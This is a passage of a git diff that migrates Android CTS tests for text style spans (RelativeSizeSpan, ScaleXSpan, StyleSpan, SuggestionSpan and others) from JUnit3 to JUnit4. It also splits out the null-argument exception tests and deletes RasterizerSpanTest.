+    public void testDrawLeadingMarginNull() {
+        QuoteSpan quoteSpan = new QuoteSpan();
+
+        quoteSpan.drawLeadingMargin(null, null, 0, 0, 0, 0, 0, null, 0, 0, true, null);
+    }
+
+    @Test
     public void testDescribeContents() {
         QuoteSpan quoteSpan = new QuoteSpan(Color.RED);
         quoteSpan.describeContents();
     }
 
+    @Test
     public void testGetSpanTypeId() {
         QuoteSpan quoteSpan = new QuoteSpan(Color.RED);
         quoteSpan.getSpanTypeId();
     }
 
+    @Test
     public void testWriteToParcel() {
         Parcel p = Parcel.obtain();
         try {
diff --git a/tests/tests/text/src/android/text/style/cts/RasterizerSpanTest.java b/tests/tests/text/src/android/text/style/cts/RasterizerSpanTest.java
deleted file mode 100644
index 8c5f71e..0000000
--- a/tests/tests/text/src/android/text/style/cts/RasterizerSpanTest.java
+++ /dev/null
@@ -1,61 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.text.style.cts;
-
-
-import android.graphics.Rasterizer;
-import android.text.TextPaint;
-import android.text.style.RasterizerSpan;
-
-import junit.framework.TestCase;
-
-public class RasterizerSpanTest extends TestCase {
-    public void testConstructor() {
-        Rasterizer r = new Rasterizer();
-
-        new RasterizerSpan(r);
-        new RasterizerSpan(null);
-    }
-
-    public void testGetRasterizer() {
-        Rasterizer expected = new Rasterizer();
-
-        RasterizerSpan rasterizerSpan = new RasterizerSpan(expected);
-        assertSame(expected, rasterizerSpan.getRasterizer());
-
-        rasterizerSpan = new RasterizerSpan(null);
-        assertNull(rasterizerSpan.getRasterizer());
-    }
-
-    public void testUpdateDrawState() {
-        Rasterizer rasterizer = new Rasterizer();
-        RasterizerSpan rasterizerSpan = new RasterizerSpan(rasterizer);
-
-        TextPaint tp = new TextPaint();
-        assertNull(tp.getRasterizer());
-
-        rasterizerSpan.updateDrawState(tp);
-        assertSame(rasterizer, tp.getRasterizer());
-
-        try {
-            rasterizerSpan.updateDrawState(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
-    }
-}
diff --git a/tests/tests/text/src/android/text/style/cts/RelativeSizeSpanTest.java b/tests/tests/text/src/android/text/style/cts/RelativeSizeSpanTest.java
index 5f67a0a..3cac62e 100644
--- a/tests/tests/text/src/android/text/style/cts/RelativeSizeSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/RelativeSizeSpanTest.java
@@ -16,14 +16,21 @@
 
 package android.text.style.cts;
 
+import static org.junit.Assert.assertEquals;
 
 import android.os.Parcel;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.TextPaint;
 import android.text.style.RelativeSizeSpan;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class RelativeSizeSpanTest extends TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class RelativeSizeSpanTest {
+    @Test
     public void testConstructor() {
         RelativeSizeSpan relativeSizeSpan = new RelativeSizeSpan(1.0f);
 
@@ -39,14 +46,16 @@
         }
     }
 
+    @Test
     public void testGetSizeChange() {
         RelativeSizeSpan relativeSizeSpan = new RelativeSizeSpan(2.0f);
-        assertEquals(2.0f, relativeSizeSpan.getSizeChange());
+        assertEquals(2.0f, relativeSizeSpan.getSizeChange(), 0.0f);
 
         relativeSizeSpan = new RelativeSizeSpan(-2.0f);
-        assertEquals(-2.0f, relativeSizeSpan.getSizeChange());
+        assertEquals(-2.0f, relativeSizeSpan.getSizeChange(), 0.0f);
     }
 
+    @Test
     public void testUpdateMeasureState() {
         float proportion = 3.0f;
         RelativeSizeSpan relativeSizeSpan = new RelativeSizeSpan(proportion);
@@ -55,22 +64,23 @@
         tp.setTextSize(2.0f);
         float oldSize = tp.getTextSize();
         relativeSizeSpan.updateMeasureState(tp);
-        assertEquals(2.0f * proportion, tp.getTextSize());
+        assertEquals(2.0f * proportion, tp.getTextSize(), 0.0f);
 
         // setTextSize, the value must >0, so set to negative is useless.
         tp.setTextSize(-3.0f);
         oldSize = tp.getTextSize();
         relativeSizeSpan.updateMeasureState(tp);
-        assertEquals(oldSize * proportion, tp.getTextSize());
-
-        try {
-            relativeSizeSpan.updateMeasureState(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
+        assertEquals(oldSize * proportion, tp.getTextSize(), 0.0f);
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testUpdateMeasureStateNull() {
+        RelativeSizeSpan relativeSizeSpan = new RelativeSizeSpan(3.0f);
+
+        relativeSizeSpan.updateMeasureState(null);
+    }
+
+    @Test
     public void testUpdateDrawState() {
         float proportion = 3.0f;
         RelativeSizeSpan relativeSizeSpan = new RelativeSizeSpan(proportion);
@@ -79,32 +89,35 @@
         tp.setTextSize(2.0f);
         float oldSize = tp.getTextSize();
         relativeSizeSpan.updateDrawState(tp);
-        assertEquals(oldSize * proportion, tp.getTextSize());
+        assertEquals(oldSize * proportion, tp.getTextSize(), 0.0f);
 
         // setTextSize, the value must >0, so set to negative is useless.
         tp.setTextSize(-3.0f);
         oldSize = tp.getTextSize();
         relativeSizeSpan.updateDrawState(tp);
-        assertEquals(oldSize * proportion, tp.getTextSize());
-
-        try {
-            relativeSizeSpan.updateDrawState(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
+        assertEquals(oldSize * proportion, tp.getTextSize(), 0.0f);
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testUpdateDrawStateNull() {
+        RelativeSizeSpan relativeSizeSpan = new RelativeSizeSpan(3.0f);
+
+        relativeSizeSpan.updateDrawState(null);
+    }
+
+    @Test
     public void testDescribeContents() {
         RelativeSizeSpan relativeSizeSpan = new RelativeSizeSpan(2.0f);
         relativeSizeSpan.describeContents();
     }
 
+    @Test
     public void testGetSpanTypeId() {
         RelativeSizeSpan relativeSizeSpan = new RelativeSizeSpan(2.0f);
         relativeSizeSpan.getSpanTypeId();
     }
 
+    @Test
     public void testWriteToParcel() {
         Parcel p = Parcel.obtain();
         try {
@@ -113,7 +126,7 @@
             relativeSizeSpan.writeToParcel(p, 0);
             p.setDataPosition(0);
             RelativeSizeSpan newSpan = new RelativeSizeSpan(p);
-            assertEquals(proportion, newSpan.getSizeChange());
+            assertEquals(proportion, newSpan.getSizeChange(), 0.0f);
         } finally {
             p.recycle();
         }
diff --git a/tests/tests/text/src/android/text/style/cts/ReplacementSpanTest.java b/tests/tests/text/src/android/text/style/cts/ReplacementSpanTest.java
index 2af12a1..514e22b 100644
--- a/tests/tests/text/src/android/text/style/cts/ReplacementSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/ReplacementSpanTest.java
@@ -16,38 +16,40 @@
 
 package android.text.style.cts;
 
-import junit.framework.TestCase;
 import android.graphics.Canvas;
 import android.graphics.Paint;
 import android.graphics.Paint.FontMetricsInt;
-import android.text.TextPaint;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.style.ReplacementSpan;
 
-public class ReplacementSpanTest extends TestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ReplacementSpanTest {
+    @Test
     public void testUpdateMeasureState() {
         ReplacementSpan replacementSpan = new MockReplacementSpan();
         replacementSpan.updateMeasureState(null);
     }
 
+    @Test
     public void testUpdateDrawState() {
         ReplacementSpan replacementSpan = new MockReplacementSpan();
         replacementSpan.updateDrawState(null);
     }
 
-    /**
-     * MockReplacementSpan for test.
-     */
     private class MockReplacementSpan extends ReplacementSpan {
         @Override
         public void draw(Canvas canvas, CharSequence text, int start, int end,
                 float x, int top, int y, int bottom, Paint paint) {
-            // implement abstract method
         }
 
         @Override
         public int getSize(Paint paint, CharSequence text, int start, int end,
                 FontMetricsInt fm) {
-            // implement abstract method
             return 0;
         }
     }
diff --git a/tests/tests/text/src/android/text/style/cts/ScaleXSpanTest.java b/tests/tests/text/src/android/text/style/cts/ScaleXSpanTest.java
index 2ec9f65..d243ef6 100644
--- a/tests/tests/text/src/android/text/style/cts/ScaleXSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/ScaleXSpanTest.java
@@ -16,14 +16,21 @@
 
 package android.text.style.cts;
 
+import static org.junit.Assert.assertEquals;
 
 import android.os.Parcel;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.TextPaint;
 import android.text.style.ScaleXSpan;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class ScaleXSpanTest extends TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ScaleXSpanTest {
+    @Test
     public void testConstructor() {
         ScaleXSpan scaleXSpan = new ScaleXSpan(1.5f);
 
@@ -39,6 +46,7 @@
         }
     }
 
+    @Test
     public void testUpdateDrawState() {
         float proportion = 3.0f;
         ScaleXSpan scaleXSpan = new ScaleXSpan(proportion);
@@ -46,20 +54,21 @@
         TextPaint tp = new TextPaint();
         tp.setTextScaleX(2.0f);
         scaleXSpan.updateDrawState(tp);
-        assertEquals(2.0f * proportion, tp.getTextScaleX());
+        assertEquals(2.0f * proportion, tp.getTextScaleX(), 0.0f);
 
         tp.setTextScaleX(-3.0f);
         scaleXSpan.updateDrawState(tp);
-        assertEquals(-3.0f * proportion, tp.getTextScaleX());
-
-        try {
-            scaleXSpan.updateDrawState(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
+        assertEquals(-3.0f * proportion, tp.getTextScaleX(), 0.0f);
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testUpdateDrawStateNull() {
+        ScaleXSpan scaleXSpan = new ScaleXSpan(3.0f);
+
+        scaleXSpan.updateDrawState(null);
+    }
+
+    @Test
     public void testUpdateMeasureState() {
         float proportion = 3.0f;
         ScaleXSpan scaleXSpan = new ScaleXSpan(proportion);
@@ -67,38 +76,42 @@
         TextPaint tp = new TextPaint();
         tp.setTextScaleX(2.0f);
         scaleXSpan.updateMeasureState(tp);
-        assertEquals(2.0f * proportion, tp.getTextScaleX());
+        assertEquals(2.0f * proportion, tp.getTextScaleX(), 0.0f);
 
         tp.setTextScaleX(-3.0f);
         scaleXSpan.updateMeasureState(tp);
-        assertEquals(-3.0f * proportion, tp.getTextScaleX());
-
-        try {
-            scaleXSpan.updateMeasureState(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
+        assertEquals(-3.0f * proportion, tp.getTextScaleX(), 0.0f);
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testUpdateMeasureStateNull() {
+        ScaleXSpan scaleXSpan = new ScaleXSpan(3.0f);
+
+        scaleXSpan.updateMeasureState(null);
+    }
+
+    @Test
     public void testGetScaleX() {
         ScaleXSpan scaleXSpan = new ScaleXSpan(5.0f);
-        assertEquals(5.0f, scaleXSpan.getScaleX());
+        assertEquals(5.0f, scaleXSpan.getScaleX(), 0.0f);
 
         scaleXSpan = new ScaleXSpan(-5.0f);
-        assertEquals(-5.0f, scaleXSpan.getScaleX());
+        assertEquals(-5.0f, scaleXSpan.getScaleX(), 0.0f);
     }
 
+    @Test
     public void testDescribeContents() {
         ScaleXSpan scaleXSpan = new ScaleXSpan(5.0f);
         scaleXSpan.describeContents();
     }
 
+    @Test
     public void testGetSpanTypeId() {
         ScaleXSpan scaleXSpan = new ScaleXSpan(5.0f);
         scaleXSpan.getSpanTypeId();
     }
 
+    @Test
     public void testWriteToParcel() {
         Parcel p = Parcel.obtain();
         try {
@@ -107,7 +120,7 @@
             scaleXSpan.writeToParcel(p, 0);
             p.setDataPosition(0);
             ScaleXSpan newSpan = new ScaleXSpan(p);
-            assertEquals(proportion, newSpan.getScaleX());
+            assertEquals(proportion, newSpan.getScaleX(), 0.0f);
         } finally {
             p.recycle();
         }
diff --git a/tests/tests/text/src/android/text/style/cts/StrikethroughSpanTest.java b/tests/tests/text/src/android/text/style/cts/StrikethroughSpanTest.java
index a3c3d9d..aa4ccdd 100644
--- a/tests/tests/text/src/android/text/style/cts/StrikethroughSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/StrikethroughSpanTest.java
@@ -16,14 +16,22 @@
 
 package android.text.style.cts;
 
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 
 import android.os.Parcel;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.TextPaint;
 import android.text.style.StrikethroughSpan;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class StrikethroughSpanTest extends TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class StrikethroughSpanTest {
+    @Test
     public void testConstructor() {
         StrikethroughSpan strikethroughSpan = new StrikethroughSpan();
 
@@ -37,6 +45,7 @@
         }
     }
 
+    @Test
     public void testUpdateDrawState() {
         StrikethroughSpan strikethroughSpan = new StrikethroughSpan();
 
@@ -46,25 +55,28 @@
 
         strikethroughSpan.updateDrawState(tp);
         assertTrue(tp.isStrikeThruText());
-
-        try {
-            strikethroughSpan.updateDrawState(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testUpdateDrawStateNull() {
+        StrikethroughSpan strikethroughSpan = new StrikethroughSpan();
+
+        strikethroughSpan.updateDrawState(null);
+    }
+
+    @Test
     public void testDescribeContents() {
         StrikethroughSpan strikethroughSpan = new StrikethroughSpan();
         strikethroughSpan.describeContents();
     }
 
+    @Test
     public void testGetSpanTypeId() {
         StrikethroughSpan strikethroughSpan = new StrikethroughSpan();
         strikethroughSpan.getSpanTypeId();
     }
 
+    @Test
     public void testWriteToParcel() {
         Parcel p = Parcel.obtain();
         try {
diff --git a/tests/tests/text/src/android/text/style/cts/StyleSpanTest.java b/tests/tests/text/src/android/text/style/cts/StyleSpanTest.java
index 753dca4..4b4fc7e 100644
--- a/tests/tests/text/src/android/text/style/cts/StyleSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/StyleSpanTest.java
@@ -16,15 +16,23 @@
 
 package android.text.style.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
 
 import android.graphics.Typeface;
 import android.os.Parcel;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.TextPaint;
 import android.text.style.StyleSpan;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class StyleSpanTest extends TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class StyleSpanTest {
+    @Test
     public void testConstructor() {
         StyleSpan styleSpan = new StyleSpan(2);
 
@@ -40,6 +48,7 @@
         }
     }
 
+    @Test
     public void testGetStyle() {
         StyleSpan styleSpan = new StyleSpan(2);
         assertEquals(2, styleSpan.getStyle());
@@ -48,6 +57,7 @@
         assertEquals(-2, styleSpan.getStyle());
     }
 
+    @Test
     public void testUpdateMeasureState() {
         StyleSpan styleSpan = new StyleSpan(Typeface.BOLD);
 
@@ -62,15 +72,16 @@
 
         assertNotNull(tp.getTypeface());
         assertEquals(Typeface.BOLD, tp.getTypeface().getStyle());
-
-        try {
-            styleSpan.updateMeasureState(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testUpdateMeasureStateNull() {
+        StyleSpan styleSpan = new StyleSpan(Typeface.BOLD);
+
+        styleSpan.updateMeasureState(null);
+    }
+
+    @Test
     public void testUpdateDrawState() {
         StyleSpan styleSpan = new StyleSpan(Typeface.BOLD);
 
@@ -85,24 +96,28 @@
 
         assertNotNull(tp.getTypeface());
         assertEquals(Typeface.BOLD, tp.getTypeface().getStyle());
-
-        try {
-            styleSpan.updateDrawState(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
     }
+
+    @Test(expected=NullPointerException.class)
+    public void testUpdateDrawStateNull() {
+        StyleSpan styleSpan = new StyleSpan(Typeface.BOLD);
+
+        styleSpan.updateDrawState(null);
+    }
+
+    @Test
     public void testDescribeContents() {
         StyleSpan styleSpan = new StyleSpan(Typeface.BOLD);
         styleSpan.describeContents();
     }
 
+    @Test
     public void testGetSpanTypeId() {
         StyleSpan styleSpan = new StyleSpan(Typeface.BOLD);
         styleSpan.getSpanTypeId();
     }
 
+    @Test
     public void testWriteToParcel() {
         Parcel p = Parcel.obtain();
         try {
diff --git a/tests/tests/text/src/android/text/style/cts/SubscriptSpanTest.java b/tests/tests/text/src/android/text/style/cts/SubscriptSpanTest.java
index 314b342..000be8d 100644
--- a/tests/tests/text/src/android/text/style/cts/SubscriptSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/SubscriptSpanTest.java
@@ -17,13 +17,21 @@
 package android.text.style.cts;
 
 
+import static org.junit.Assert.assertEquals;
+
 import android.os.Parcel;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.TextPaint;
 import android.text.style.SubscriptSpan;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class SubscriptSpanTest extends TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SubscriptSpanTest {
+    @Test
     public void testConstructor() {
         SubscriptSpan subscriptSpan = new SubscriptSpan();
 
@@ -37,6 +45,7 @@
         }
     }
 
+    @Test
     public void testUpdateMeasureState() {
         // the expected result is: tp.baselineShift -= (int) (tp.ascent() / 2)
         SubscriptSpan subscriptSpan = new SubscriptSpan();
@@ -48,15 +57,16 @@
 
         subscriptSpan.updateMeasureState(tp);
         assertEquals(baselineShift - (int) (ascent / 2), tp.baselineShift);
-
-        try {
-            subscriptSpan.updateMeasureState(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testUpdateMeasureStateNull() {
+        SubscriptSpan subscriptSpan = new SubscriptSpan();
+
+        subscriptSpan.updateMeasureState(null);
+    }
+
+    @Test
     public void testUpdateDrawState() {
         // the expected result is: tp.baselineShift -= (int) (tp.ascent() / 2)
         SubscriptSpan subscriptSpan = new SubscriptSpan();
@@ -68,25 +78,28 @@
 
         subscriptSpan.updateDrawState(tp);
         assertEquals(baselineShift - (int) (ascent / 2), tp.baselineShift);
-
-        try {
-            subscriptSpan.updateDrawState(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testUpdateDrawStateNull() {
+        SubscriptSpan subscriptSpan = new SubscriptSpan();
+
+        subscriptSpan.updateDrawState(null);
+    }
+
+    @Test
     public void testDescribeContents() {
         SubscriptSpan subscriptSpan = new SubscriptSpan();
         subscriptSpan.describeContents();
     }
 
+    @Test
     public void testGetSpanTypeId() {
         SubscriptSpan subscriptSpan = new SubscriptSpan();
         subscriptSpan.getSpanTypeId();
     }
 
+    @Test
     public void testWriteToParcel() {
         Parcel p = Parcel.obtain();
         try {
diff --git a/tests/tests/text/src/android/text/style/cts/SuggestionSpanTest.java b/tests/tests/text/src/android/text/style/cts/SuggestionSpanTest.java
index ff5167c..686f9c3 100644
--- a/tests/tests/text/src/android/text/style/cts/SuggestionSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/SuggestionSpanTest.java
@@ -16,16 +16,145 @@
 
 package android.text.style.cts;
 
-import junit.framework.TestCase;
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 
 import android.annotation.NonNull;
 import android.annotation.Nullable;
+import android.content.Context;
+import android.content.res.Configuration;
+import android.os.LocaleList;
 import android.os.Parcel;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.style.SuggestionSpan;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.Locale;
 
-public class SuggestionSpanTest extends TestCase {
+/**
+ * Test {@link SuggestionSpan}.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SuggestionSpanTest {
+    @Test
+    public void testConstructorWithContext() {
+        final String[] suggestions = new String[] {"suggestion1", "suggestion2"};
+        final Configuration overrideConfig = new Configuration();
+        final Locale locale = Locale.forLanguageTag("az-Arab");
+        overrideConfig.setLocales(new LocaleList(locale));
+        final Context context = InstrumentationRegistry.getTargetContext().
+                createConfigurationContext(overrideConfig);
+
+        final SuggestionSpan span = new SuggestionSpan(context, suggestions,
+                SuggestionSpan.FLAG_AUTO_CORRECTION);
+
+        assertEquals(locale, span.getLocaleObject());
+        assertArrayEquals(suggestions, span.getSuggestions());
+        assertEquals(SuggestionSpan.FLAG_AUTO_CORRECTION, span.getFlags());
+    }
+
+    @Test
+    public void testGetSuggestionSpans() {
+        final String[] suggestions = new String[]{"suggestion1", "suggestion2"};
+        final SuggestionSpan span = new SuggestionSpan(Locale.forLanguageTag("en"), suggestions,
+                SuggestionSpan.FLAG_AUTO_CORRECTION);
+        assertArrayEquals("Should return the correct suggestions array",
+                suggestions, span.getSuggestions());
+
+        final SuggestionSpan clonedSpan = cloneViaParcel(span);
+        assertArrayEquals("Should (de)serialize suggestions",
+                suggestions, clonedSpan.getSuggestions());
+    }
+
+    @Test
+    public void testGetSuggestionSpans_emptySuggestions() {
+        final String[] suggestions = new String[0];
+        final SuggestionSpan span = new SuggestionSpan(Locale.forLanguageTag("en"), suggestions,
+                SuggestionSpan.FLAG_AUTO_CORRECTION);
+        assertArrayEquals("Span should return empty suggestion array",
+                suggestions, span.getSuggestions());
+
+        // also test parceling
+        final SuggestionSpan clonedSpan = cloneViaParcel(span);
+        assertArrayEquals("Should (de)serialize empty suggestions array",
+                suggestions, clonedSpan.getSuggestions());
+    }
+
+    @Test
+    public void testGetSuggestionSpans_suggestionsWithNullValue() {
+        final String[] suggestions = new String[]{"suggestion", null};
+        final SuggestionSpan span = new SuggestionSpan(Locale.forLanguageTag("en"), suggestions,
+                SuggestionSpan.FLAG_AUTO_CORRECTION);
+        assertArrayEquals("Should accept and return null suggestions",
+                suggestions, span.getSuggestions());
+
+        final SuggestionSpan clonedSpan = cloneViaParcel(span);
+        assertArrayEquals("Should (de)serialize null in suggestions array",
+                suggestions, clonedSpan.getSuggestions());
+    }
+
+    @Test
+    public void testGetFlags() {
+        final String[] anySuggestions = new String[0];
+        final int flag = SuggestionSpan.FLAG_AUTO_CORRECTION;
+        SuggestionSpan span = new SuggestionSpan(Locale.forLanguageTag("en"), anySuggestions, flag);
+
+        assertEquals("Should return the flag passed in constructor",
+                flag, span.getFlags());
+
+        final SuggestionSpan clonedSpan = cloneViaParcel(span);
+        assertEquals("Should (de)serialize flags", flag, clonedSpan.getFlags());
+    }
+
+    @Test
+    public void testEquals_returnsTrueForDeserializedInstances() {
+        final SuggestionSpan span1 = new SuggestionSpan(null, Locale.forLanguageTag("en"),
+                new String[0], SuggestionSpan.FLAG_AUTO_CORRECTION, SuggestionSpan.class);
+        final SuggestionSpan span2 = cloneViaParcel(span1);
+
+        assertTrue("(De)serialized instances should be equal", span1.equals(span2));
+    }
+
+    @Test
+    public void testEquals_returnsTrueIfTheFlagsAreDifferent() {
+        final SuggestionSpan span1 = new SuggestionSpan(null, Locale.forLanguageTag("en"),
+                new String[0], SuggestionSpan.FLAG_AUTO_CORRECTION, SuggestionSpan.class);
+        final SuggestionSpan span2 = cloneViaParcel(span1);
+        span2.setFlags(SuggestionSpan.FLAG_EASY_CORRECT);
+
+        assertEquals("Should return the flag passed in set function",
+                SuggestionSpan.FLAG_EASY_CORRECT, span2.getFlags());
+
+        assertTrue("Instances with different flags should be equal", span1.equals(span2));
+    }
+
+    @Test
+    public void testEquals_returnsFalseIfCreationTimeIsNotSame() {
+        final Locale anyLocale = Locale.forLanguageTag("en");
+        final String[] anySuggestions = new String[0];
+        final int anyFlags = SuggestionSpan.FLAG_AUTO_CORRECTION;
+        final Class anyClass = SuggestionSpan.class;
+
+        final SuggestionSpan span1 = new SuggestionSpan(null, anyLocale, anySuggestions, anyFlags,
+                anyClass);
+        try {
+            // let some time pass before constructing the other span
+            Thread.sleep(2);
+        } catch (InterruptedException e) {
+            // ignore
+        }
+        final SuggestionSpan span2 = new SuggestionSpan(null, anyLocale, anySuggestions, anyFlags,
+                anyClass);
+
+        assertFalse("Instances created at different time should not be equal", span2.equals(span1));
+    }
 
     /**
      * @param locale a {@link Locale} object.
@@ -48,7 +177,7 @@
         return original.toString();
     }
 
-    private void checkGetLocaleObject(final Locale locale) {
+    private void verifyGetLocaleObject(final Locale locale) {
         final SuggestionSpan span = new SuggestionSpan(locale, new String[0],
                 SuggestionSpan.FLAG_AUTO_CORRECTION);
         // In the context of SuggestionSpan#getLocaleObject(), we do care only about subtags that
@@ -62,17 +191,18 @@
         assertEquals(getNonNullLocaleString(locale), cloned.getLocale());
     }
 
+    @Test
     public void testGetLocaleObject() {
-        checkGetLocaleObject(Locale.forLanguageTag("en"));
-        checkGetLocaleObject(Locale.forLanguageTag("en-GB"));
-        checkGetLocaleObject(Locale.forLanguageTag("EN-GB"));
-        checkGetLocaleObject(Locale.forLanguageTag("en-gb"));
-        checkGetLocaleObject(Locale.forLanguageTag("En-gB"));
-        checkGetLocaleObject(Locale.forLanguageTag("und"));
-        checkGetLocaleObject(Locale.forLanguageTag("de-DE-u-co-phonebk"));
-        checkGetLocaleObject(Locale.forLanguageTag(""));
-        checkGetLocaleObject(null);
-        checkGetLocaleObject(new Locale(" an  ", " i n v a l i d ", "data"));
+        verifyGetLocaleObject(Locale.forLanguageTag("en"));
+        verifyGetLocaleObject(Locale.forLanguageTag("en-GB"));
+        verifyGetLocaleObject(Locale.forLanguageTag("EN-GB"));
+        verifyGetLocaleObject(Locale.forLanguageTag("en-gb"));
+        verifyGetLocaleObject(Locale.forLanguageTag("En-gB"));
+        verifyGetLocaleObject(Locale.forLanguageTag("und"));
+        verifyGetLocaleObject(Locale.forLanguageTag("de-DE-u-co-phonebk"));
+        verifyGetLocaleObject(Locale.forLanguageTag(""));
+        verifyGetLocaleObject(null);
+        verifyGetLocaleObject(new Locale(" an  ", " i n v a l i d ", "data"));
     }
 
     @NonNull
diff --git a/tests/tests/text/src/android/text/style/cts/SuperscriptSpanTest.java b/tests/tests/text/src/android/text/style/cts/SuperscriptSpanTest.java
index 92a2db4..68fa8c8 100644
--- a/tests/tests/text/src/android/text/style/cts/SuperscriptSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/SuperscriptSpanTest.java
@@ -16,14 +16,21 @@
 
 package android.text.style.cts;
 
+import static org.junit.Assert.assertEquals;
 
 import android.os.Parcel;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.TextPaint;
 import android.text.style.SuperscriptSpan;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class SuperscriptSpanTest extends TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SuperscriptSpanTest {
+    @Test
     public void testConstructor() {
         SuperscriptSpan superscriptSpan = new SuperscriptSpan();
 
@@ -37,6 +44,7 @@
         }
     }
 
+    @Test
     public void testUpdateMeasureState() {
         // the expected result is: tp.baselineShift += (int) (tp.ascent() / 2)
         SuperscriptSpan superscriptSpan = new SuperscriptSpan();
@@ -48,15 +56,16 @@
 
         superscriptSpan.updateMeasureState(tp);
         assertEquals(baselineShift + (int) (ascent / 2), tp.baselineShift);
-
-        try {
-            superscriptSpan.updateMeasureState(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testUpdateMeasureStateNull() {
+        SuperscriptSpan superscriptSpan = new SuperscriptSpan();
+
+        superscriptSpan.updateMeasureState(null);
+    }
+
+    @Test
     public void testUpdateDrawState() {
         // the expected result is: tp.baselineShift += (int) (tp.ascent() / 2)
         SuperscriptSpan superscriptSpan = new SuperscriptSpan();
@@ -68,25 +77,28 @@
 
         superscriptSpan.updateDrawState(tp);
         assertEquals(baselineShift + (int) (ascent / 2), tp.baselineShift);
-
-        try {
-            superscriptSpan.updateDrawState(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testUpdateDrawStateNull() {
+        SuperscriptSpan superscriptSpan = new SuperscriptSpan();
+
+        superscriptSpan.updateDrawState(null);
+    }
+
+    @Test
     public void testDescribeContents() {
         SuperscriptSpan superscriptSpan = new SuperscriptSpan();
         superscriptSpan.describeContents();
     }
 
+    @Test
     public void testGetSpanTypeId() {
         SuperscriptSpan superscriptSpan = new SuperscriptSpan();
         superscriptSpan.getSpanTypeId();
     }
 
+    @Test
     public void testWriteToParcel() {
         Parcel p = Parcel.obtain();
         try {
diff --git a/tests/tests/text/src/android/text/style/cts/TabStopSpan_StandardTest.java b/tests/tests/text/src/android/text/style/cts/TabStopSpan_StandardTest.java
index f9397f0..34c487e 100644
